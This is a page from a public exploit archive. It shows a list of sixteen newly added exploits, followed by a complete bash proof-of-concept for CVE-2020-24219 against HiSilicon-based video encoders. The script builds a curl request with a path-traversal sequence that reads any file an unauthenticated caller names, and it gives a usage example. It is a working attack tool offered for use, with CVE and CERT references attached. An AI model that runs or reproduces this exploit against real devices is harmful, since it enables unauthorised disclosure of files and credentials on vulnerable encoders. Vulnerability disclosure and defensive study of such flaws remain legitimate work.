
16 changes to exploits/shellcodes Tourism Management System 1.0 - Arbitrary File Upload Nagios XI 5.7.3 - 'Contact Templates' Persistent Cross-Site Scripting Nagios XI 5.7.3 - 'Manage Users' Authenticated SQL Injection Nagios XI 5.7.3 - 'SNMP Trap Interface' Authenticated SQL Injection Online Student's Management System 1.0 - Remote Code Execution (Authenticated) Online Discussion Forum Site 1.0 - XSS in Messaging System Online Job Portal 1.0 - Cross Site Scripting (Stored) HiSilicon Video Encoders - Unauthenticated file disclosure via path traversal HiSilicon Video Encoders - RCE via unauthenticated command injection HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware HiSilicon Video Encoders - Full admin access via backdoor password HiSilicon Video Encoders - Unauthenticated RTSP buffer overflow (DoS) Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in Hostel Management System 2.1 - Cross Site Scripting (Multiple Fields) Typesetter CMS 5.1 - Arbitrary Code Execution (Authenticated) Textpattern CMS 4.6.2 - Cross-site Request Forgery
24 lines
No EOL
726 B
Bash
Executable file
24 lines
No EOL
726 B
Bash
Executable file
#!/usr/bin/env bash
|
|
|
|
# Exploit Title: HiSilicon video encoders - unauthenticated file disclosure via path traversal
|
|
# Date: 2020-09-20
|
|
# Exploit Author: Alexei Kojenov
|
|
# Vendor Homepage: https://www.szuray.com/
|
|
# Software Link: N/A
|
|
# Version: up to 1.97
|
|
# Tested on: Linux
|
|
# CVE: CVE-2020-24219
|
|
# Vendors: URayTech
|
|
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
|
|
# Reference: https://www.kb.cert.org/vuls/id/896979
|
|
|
|
|
|
if [ "$#" -ne 2 ]
|
|
then
|
|
echo "Usage: $0 <server>[:<port>] <filepath>"
|
|
echo "Example: $0 1.2.3.4:8086 /box/box.ini"
|
|
exit 1
|
|
fi
|
|
|
|
curl -s --path-as-is "http://$1/../../sys/devices/media/13070000.jpgd/../../../..$2" \
|
|
|| echo "ERROR: curl returned $?" |